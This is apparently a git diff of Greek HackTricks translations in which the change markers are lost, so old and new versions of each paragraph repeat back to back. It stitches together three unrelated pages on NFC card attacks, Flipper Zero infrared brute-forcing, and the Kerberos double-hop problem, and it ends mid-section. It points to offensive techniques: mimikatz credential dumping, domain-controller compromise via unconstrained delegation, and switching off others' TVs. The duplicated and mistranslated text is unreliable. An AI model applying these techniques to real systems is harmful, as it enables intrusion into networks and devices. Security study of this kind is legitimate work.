Οι **ετικέτες υψηλής συχνότητας** χρησιμοποιούνται για μια πιο σύνθετη αλληλεπίδραση αναγνώστη-ετικέτας όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση, κ.λπ.\
Συνήθως βρίσκονται σε τραπεζικές κάρτες, δημόσιες συγκοινωνίες και άλλες ασφαλείς κάρτες.
**Οι ετικέτες υψηλής συχνότητας 13.56 MHz είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικό και λογικό επίπεδο είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και τα εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία Εγγύς Πεδίο (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Απλούστευση, η αρχιτεκτονική του NFC λειτουργεί ως εξής: το πρωτόκολλο μετάδοσης επιλέγεται από την εταιρεία που κατασκευάζει τις κάρτες και υλοποιείται βάσει του χαμηλού επιπέδου ISO 14443. Για παράδειγμα, η NXP εφηύρε το δικό της πρωτόκολλο μετάδοσης υψηλού επιπέδου που ονομάζεται Mifare. Ωστόσο, στο χαμηλότερο επίπεδο, οι κάρτες Mifare βασίζονται στο πρότυπο ISO 14443-A.
Για να το θέσουμε απλά, η αρχιτεκτονική του NFC λειτουργεί ως εξής: το πρωτόκολλο μετάδοσης επιλέγεται από την εταιρεία που κατασκευάζει τις κάρτες και υλοποιείται με βάση το χαμηλού επιπέδου ISO 14443. Για παράδειγμα, η NXP εφηύρε το δικό της πρωτόκολλο μετάδοσης υψηλού επιπέδου που ονομάζεται Mifare. Αλλά σε χαμηλότερο επίπεδο, οι κάρτες Mifare βασίζονται στο πρότυπο ISO 14443-A.
Ο Flipper μπορεί να αλληλεπιδράσει τόσο με το πρωτόκολλο ISO 14443 χαμηλού επιπέδου, όσο και με το πρωτόκολλο μεταφοράς δεδομένων Mifare Ultralight και το EMV που χρησιμοποιείται στις κάρτες τραπεζών. Εργαζόμαστε για να προσθέσουμε υποστήριξη για το Mifare Classic και το NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που αποτελούν το NFC αξίζει ένα ξεχωριστό άρθρο που σχεδιάζουμε να δημοσιεύσουμε αργότερα.
Το Flipper μπορεί να αλληλεπιδράσει τόσο με το πρωτόκολλο ISO 14443 χαμηλού επιπέδου, όσο και με το πρωτόκολλο μεταφοράς δεδομένων Mifare Ultralight και EMV που χρησιμοποιούνται σε τραπεζικές κάρτες. Εργαζόμαστε για την προσθήκη υποστήριξης για το Mifare Classic και το NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που συνθέτουν το NFC αξίζει ένα ξεχωριστό άρθρο το οποίο σχεδιάζουμε να δημοσιεύσουμε αργότερα.
Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν ένα μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως αριθμός σειράς της κάρτας, όπως η διεύθυνση MAC ενός δικτυακού προσαρμογέα. Συνήθως, το UID έχει μήκος 4 ή 7 bytes, αλλά μπορεί σπάνια να φτάσει μέχρι τα 10. Τα UID δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, μερικές φορές ακόμα και εκτυπωμένα στην ίδια την κάρτα.
Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν έναν μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως ο σειριακός αριθμός της κάρτας, όπως η διεύθυνση MAC μιας κάρτας δικτύου. **Συνήθως, το UID έχει μήκος 4 ή 7 byte**, αλλά σπάνια μπορεί να φτάσει **μέχρι 10**. Τα UIDs δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα στην ίδια την κάρτα**.
Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για να πιστοποιήσουν και να επιτρέψουν την πρόσβαση. Μερικές φορές αυτό συμβαίνει ακόμα και όταν οι ετικέτες RFID υποστηρίζουν κρυπτογραφία. Αυτή η κατάχρηση τις υποβαθμίζει στο επίπεδο των ανόητων καρτών 125 kHz όσον αφορά την ασφάλεια. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID, έτσι ώστε οι κάτοχοι των τηλεφώνων να μην ανοίγουν πόρτες με την εφαρμογή πληρωμής τους.
Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για να **αυθεντικοποιούν και να παρέχουν πρόσβαση**. Μερικές φορές αυτό συμβαίνει **ακόμη** και όταν οι ετικέτες RFID **υποστηρίζουν κρυπτογραφία**. Αυτή η **κακή χρήση** τις κατεβάζει στο επίπεδο των ανόητων **καρτών 125 kHz** όσον αφορά την **ασφάλεια**. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην μπορούν να ανοίγουν πόρτες με την εφαρμογή πληρωμών τους.
* **Χαμηλή εμβέλεια** - οι κάρτες υψηλής συχνότητας σχεδιάστηκαν έτσι ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη απόσταση ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 εκατοστά, και αυτό ήταν με αναγνώστες υψηλής εμβέλειας που κατασκευάστηκαν ειδικά.
* **Προηγμένα πρωτόκολλα** - οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη διπλή μεταφορά δεδομένων. Αυτό επιτρέπει την κρυπτογραφία, τη μεταφορά δεδομένων κ.λπ.
* **Υψηλή ασφάλεια** - οι ασύρματες κάρτες υψηλής συχνότητας δεν υστερούν σε τίποτα από τις έξυπνες κάρτες. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρά αλγόρ
* **Χαμηλή εμβέλεια**οι κάρτες υψηλής συχνότητας σχεδιάζονται ειδικά ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό ήταν με αναγνώστες υψηλής εμβέλειας που κατασκευάστηκαν ειδικά.
* **Προηγμένα πρωτόκολλα**οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Πράγμα που με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων, κ.λπ.
* **Υψηλή ασφάλεια**οι κάρτες επαφής υψηλής συχνότητας δεν υστερούν σε τίποτα σε σχέση με τις έξυπνες κάρτες. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρούς αλγόριθμους όπως το AES και υλοποιούν ασύμμετρη κρυπτογραφία.
### Επίθεση
Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
Ή χρησιμοποιώντας το **proxmark**:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
{% endcontent-ref %}
## Αναφορές
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,66 @@
# FZ - Υπέρυθρο
# FZ - Infrared
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν στον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Εισαγωγή <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## Intro <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί η υπέρυθρη, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το Infrared, ελέγξτε:
{% content-ref url="../infrared.md" %}
[infrared.md](../infrared.md)
{% endcontent-ref %}
## Δέκτης Σήματος IR στο Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## IR Signal Receiver in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Το Flipper χρησιμοποιεί ένα ψηφιακό δέκτη σήματος IR TSOP, ο οποίος **επιτρέπει την παρεμβολή σήματος από τηλεχειριστήρια IR**. Υπάρχουν **κάποια smartphones** όπως το Xiaomi, τα οποία έχουν επίσης θύρα IR, αλλά να έχετε υπόψη ότι **η πλειονότητά τους μπορεί μόνο να μεταδώσει** σήματα και είναι **ανίκανα να τα λάβουν**.
Ο Flipper χρησιμοποιεί έναν ψηφιακό δέκτη σήματος IR TSOP, ο οποίος **επιτρέπει την παγίδευση σημάτων από IR τηλεχειριστήρια**. Υπάρχουν μερικά **smartphones** όπως η Xiaomi, που έχουν επίσης θύρα IR, αλλά να έχετε υπόψη ότι **οι περισσότεροι από αυτούς μπορούν μόνο να μεταδίδουν** σήματα και είναι **ανίκανοι να τα λάβουν**.
Ο υπέρυθρος δέκτης του Flipper είναι αρκετά ευαίσθητος. Μπορείτε ακόμα να **αιχμαλωτίσετε το σήμα** παραμένοντας **κάπου ανάμεσα** στο τηλεχειριστήριο και την τηλεόραση. Η κατεύθυνση του τηλεχειριστηρίου απευθείας στη θύρα IR του Flipper είναι περιττή. Αυτό είναι χρήσιμο όταν κάποιος αλλάζει κανάλια ενώ βρίσκεται κοντά στην τηλεόραση, και εσείς και το Flipper είστε μακριά.
Ο δέκτης υπερύθρων του Flipper είναι **αρκετά ευαίσθητος**. Μπορείτε ακόμη και να **πιάσετε το σήμα** ενώ βρίσκεστε **κάπου ενδιάμεσα** του τηλεχειριστηρίου και της τηλεόρασης. Δεν είναι απαραίτητο να στοχεύετε το τηλεχειριστήριο απευθείας στη θύρα IR του Flipper. Αυτό είναι χρήσιμο όταν κάποιος αλλάζει κανάλια ενώ στέκεται κοντά στην τηλεόραση, και εσείς και ο Flipper είστε σε κάποια απόσταση.
Καθώς η **αποκωδικοποίηση του υπέρυθρου** σήματος συμβαίνει στην πλευρά του **λογισμικού**, το Flipper Zero υποστηρίζει δυνητικά την **λήψη και τη μετάδοση οποιωνδήποτε κωδικών τηλεχειριστηρίων IR**. Στην περίπτωση **άγνωστων** πρωτοκόλλων που δεν μπορούν να αναγνωριστούν - **καταγράφει και αναπαράγει** το ωμό σήμα ακριβώς όπως λήφθηκε.
Καθώς η **αποκωδικοποίηση του σήματος υπερύθρων** συμβαίνει στην **πλευρά του λογισμικού**, ο Flipper Zero υποστηρίζει δυνητικά την **λήψη και μετάδοση οποιωνδήποτε κωδικών IR τηλεχειριστηρίου**. Στην περίπτωση **άγνωστων** πρωτοκόλλων που δεν μπορούν να αναγνωριστούν - **καταγράφει και αναπαράγει** το ακατέργαστο σήμα ακριβώς όπως το έλαβε.
## Ενέργειες
## Actions
### Πανελλήνια Τηλεχειριστήρια
### Universal Remotes
Το Flipper Zero μπορεί να χρησιμοποιηθεί ως **πανελλήνιο τηλεχειριστήριο για τον έλεγχο οποιασδήποτε τηλεόρασης, κλιματιστικού ή κέντρου μέσων**. Σε αυτή τη λειτουργία, το Flipper **δοκιμάζει όλους τους γνωστούς κωδικούς** όλων των υποστηριζόμενων κατασκευαστών **σύμφωνα με το λεξικό από την κάρτα SD**. Δεν χρειάζεται να επιλέξετε ένα συγκεκριμένο τηλεχειριστήριο για να κλείσετε μια τηλεόραση σε ένα εστιατόριο.
Ο Flipper Zero μπορεί να χρησιμοποιηθεί ως **καθολικό τηλεχειριστήριο για τον έλεγχο οποιασδήποτε τηλεόρασης, κλιματιστικού ή κέντρου πολυμέσων**. Σε αυτή τη λειτουργία, ο Flipper **δοκιμάζει** όλους τους **γνωστούς κωδικούς** όλων των υποστηριζόμενων κατασκευαστών **σύμφωνα με το λεξικό από την κάρτα SD**. Δεν χρειάζεται να επιλέξετε ένα συγκεκριμένο τηλεχειριστήριο για να απενεργοποιήσετε την τηλεόραση ενός εστιατορίου.
Αρκεί να πατήσετε το κουμπί ενεργοποίησης στη λειτουργία Πανελλήνιου Τηλεχειριστηρίου, και το Flipper θα **στέλνει σειριακά εντολές "Απενεργοποίηση"** όλων των τηλεοράσεων που γνωρίζει: Sony, Samsung, Panasonic... και ούτω καθεξής. Όταν η τηλεόραση λάβει το σήμα της, θα αντιδράσει και θα κλείσει.
Αρκεί να πατήσετε το κουμπί τροφοδοσίας στη λειτουργία Καθολικού Τηλεχειριστηρίου, και ο Flipper θα **στείλει διαδοχικά τις εντολές "Power Off"** όλων των τηλεοράσεων που γνωρίζει: Sony, Samsung, Panasonic... και ούτω καθεξής. Όταν η τηλεόραση λάβει το σήμα της, θα αντιδράσει και θα απενεργοποιηθεί.
Τέτοιο brute-force απαιτεί χρόνο. Όσο μεγαλύτερο το λεξικό, τόσο περισσότερο θα πάρει να ολοκληρωθεί. Είναι αδύνατο να μάθετε ποιο σήμα αναγνώρισε ακριβώς η τηλεόραση αφού δεν υπάρχει ανατροφοδότηση από αυτήν.
Αυτή η δοκιμή βίας απαιτεί χρόνο. Όσο μεγαλύτερο είναι το λεξικό, τόσο περισσότερο χρόνο θα χρειαστεί για να ολοκληρωθεί. Είναι αδύνατο να μάθετε ποιο σήμα ακριβώς αναγνώρισε η τηλεόραση, καθώς δεν υπάρχει ανατροφοδότηση από την τηλεόραση.
### Μάθετε νέο Τηλεχειριστήριο
### Learn New Remote
Είναι δυνατόν να **αιχμαλωτίσετε ένα υπέρυθρο σήμα** με το Flipper Zero. Αν **βρει το σήμα στη βάση δεδομένων**, το Flipper θα γνωρίζει αυτόματα **ποια συσκευή είναι** και θα σας επιτρέψει να αλληλεπιδράσετε μαζί της.\
Αν δεν το βρει, το Flipper μπορεί να **αποθηκεύσει** το **σήμα** και θα σας επιτρέψει να το **επαναλάβετε**.
Είναι δυνατόν να **καταγράψετε ένα σήμα υπερύθρων** με τον Flipper Zero. Εάν **βρει το σήμα στη βάση δεδομένων**, ο Flipper θα γνωρίζει αυτόματα **ποια συσκευή είναι αυτή** και θα σας επιτρέψει να αλληλεπιδράσετε μαζί της.\
Εάν δεν το βρει, ο Flipper μπορεί να **αποθηκεύσει** το **σήμα** και θα σας επιτρέψει να το **αναπαράγετε**.
## Αναφορές
## References
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,97 +1,101 @@
# Πρόβλημα Διπλού Άλματος στο Kerberos
# Kerberos Double Hop Problem
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην **ομάδα τηλεγραφήματος** ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στο [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Εισαγωγή
Το πρόβλημα "Διπλού Άλματος" στο Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **ελέγχους Kerberos** σε δύο **άλματα**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
## Introduction
Όταν μια **επαλήθευση** γίνεται μέσω **Kerberos**, οι **διαπιστευτήρια** **δεν** αποθηκεύονται στη **μνήμη**. Επομένως, αν εκτελέσετε το mimikatz δεν θα βρείτε τα διαπιστευτήρια του χρήστη στον υπολογιστή ακόμα κι αν εκείνος εκτελεί διεργασίες.
Το πρόβλημα "Double Hop" του Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **Kerberos authentication across two** **hops**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
Αυτό συμβαίνει επειδή κατά τη σύνδεση με το Kerberos αυτά είναι τα βήματα:
Όταν συμβαίνει μια **authentication** μέσω **Kerberos**, οι **credentials** **δεν** αποθηκεύονται στη **μνήμη.** Επομένως, αν εκτελέσετε το mimikatz **δεν θα βρείτε credentials** του χρήστη στη μηχανή ακόμα και αν εκτελεί διαδικασίες.
1. Ο Χρήστης1 παρέχει διαπιστευτήρια και το **domain controller** επιστρέφει ένα Kerberos **TGT** στον Χρήστη1.
2. Ο Χρήστης1 χρησιμοποιεί το **TGT** για να ζητήσει ένα **εισιτήριο υπηρεσίας** για να **συνδεθεί** στον Διακομιστή1.
3. Ο Χρήστης1 **συνδέεται** στον **Διακομιστή1** και παρέχει το **εισιτήριο υπηρεσίας**.
4. Ο **Διακομιστής1** **δεν** έχει τα **διαπιστευτήρια** του Χρήστη1 αποθηκευμένα ή το **TGT** του Χρήστη1. Επομένως, όταν ο Χρήστης1 από τον Διακομιστή1 προσπαθεί να συνδεθεί σε ένα δεύτερο διακομιστή, δεν μπορεί να πιστοποιηθεί.
Αυτό συμβαίνει επειδή όταν συνδέεστε με Kerberos αυτά είναι τα βήματα:
### Απεριόριστη Ανακατεύθυνση
1. Ο Χρήστης1 παρέχει credentials και ο **domain controller** επιστρέφει ένα Kerberos **TGT** στον Χρήστη1.
2. Ο Χρήστης1 χρησιμοποιεί το **TGT** για να ζητήσει ένα **service ticket** για να **συνδεθεί** με τον Server1.
3. Ο Χρήστης1 **συνδέεται** με τον **Server1** και παρέχει το **service ticket**.
4. Ο **Server1** **δεν** έχει **credentials** του Χρήστη1 αποθηκευμένα ή το **TGT** του Χρήστη1. Επομένως, όταν ο Χρήστης1 από τον Server1 προσπαθεί να συνδεθεί σε έναν δεύτερο server, **δεν μπορεί να αυθεντικοποιηθεί**.
Αν η **απεριόριστη ανακατεύθυνση** είναι ενεργοποιημένη στον Η/Υ, αυτό δεν θα συμβεί καθώς ο **Διακομιστής** θα **λάβει** ένα **TGT** από κάθε χρήστη που έχει πρόσβαση σε αυτόν. Επιπλέον, αν χρησιμοποιείται η απεριόριστη ανακατεύθυνση, πιθανόν να μπορείτε να **θέσετε σε κίνδυνο τον ελεγκτή του τομέα**.\
[**Περισσότερες πληροφορίες στη σελίδα απεριόριστης ανακατεύθυνσης**](unconstrained-delegation.md).
### Unconstrained Delegation
Αν είναι ενεργοποιημένη η **unconstrained delegation** στον υπολογιστή, αυτό δεν θα συμβεί καθώς ο **Server** θα **λάβει** ένα **TGT** κάθε χρήστη που τον προσπελάσει. Επιπλέον, αν χρησιμοποιηθεί η unconstrained delegation, πιθανώς μπορείτε να **συμβιβάσετε τον Domain Controller** από αυτό.\
[**Περισσότερες πληροφορίες στη σελίδα της unconstrained delegation**](unconstrained-delegation.md).
### CredSSP
Ένας άλλος τρόπος να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**σημαντικά ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) είναι ο **Πάροχος Υποστήριξης Ασφάλειας Διαπιστευτήρων**. Από τη Microsoft:
Ένας άλλος τρόπος για να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**ιδιαίτερα ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), είναι ο **Credential Security Support Provider**. Από τη Microsoft:
> Η επαλήθευση CredSSP αναθέτει τα διαπιστευτήρια του χρήστη από τον τοπικό υπολογιστή σε έναν απομακρυσμένο υπολογιστή. Αυτή η πρακτική αυξάνει τον κίνδυνο ασφάλειας της απομακρυσμένης λειτουργίας. Αν ο απομακρυσμένος υπολογιστής διαρρεύσει, όταν τα διαπιστευτήρια περνούν σε αυτόν, τα διαπιστευτήρια μπορούν να χρησιμοποιηθούν για τον έλεγχο της δικτυακής συνεδρίας.
> Η αυθεντικοποίηση CredSSP αναθέτει τα credentials του χρήστη από τον τοπικό υπολογιστή σε έναν απομακρυσμένο υπολογιστή. Αυτή η πρακτική αυξάνει τον κίνδυνο ασφαλείας της απομακρυσμένης λειτουργίας. Αν ο απομακρυσμένος υπολογιστής συμβιβαστεί, όταν τα credentials μεταβιβάζονται σε αυτόν, τα credentials μπορούν να χρησιμοποιηθούν για τον έλεγχο της δικτυακής συνεδρίας.
Συνιστάται ανεπιφύλακτα να απενεργοποιηθεί το **CredSSP** σε συστήματα παραγωγής, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών για την ασφάλεια. Για να προσδιοριστεί εάν το **CredSSP** είναι ενεργοποιημένο, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί ακόμη να εκτελεστεί απομακρυσμένα, εφόσον το **WinRM** είναι ενεργοποιημένο.
Συνιστάται έντονα να είναι απενεργοποιημένο το **CredSSP** σε παραγωγικά συστήματα, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών ασφαλείας. Για να προσδιορίσετε αν είναι ενεργοποιημένο το **CredSSP**, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί να εκτελεστεί ακόμη και απομακρυσμένα, εφόσον είναι ενεργοποιημένο το **WinRM**.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Παρακάμψεις
## Workarounds
### Εκκίνηση Εντολής
### Invoke Command
Για να αντιμετωπίσετε το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που περιλαμβάνει ένα εμφωλευμένο `Invoke-Command`. Αυτό δεν λύνει το πρόβλημα απευθείας αλλά προσφέρει μια παράκαμψη χωρίς την ανάγκη ειδικών ρυθμίσεων. Η προσέγγιση επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε ένα δευτερεύον διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική μηχανή επίθεσης ή μέσω μιας προηγουμένως καθιερωμένης συνεδρίας PS με τον πρώτο διακομιστή. Εδώ είναι πώς γίνεται:
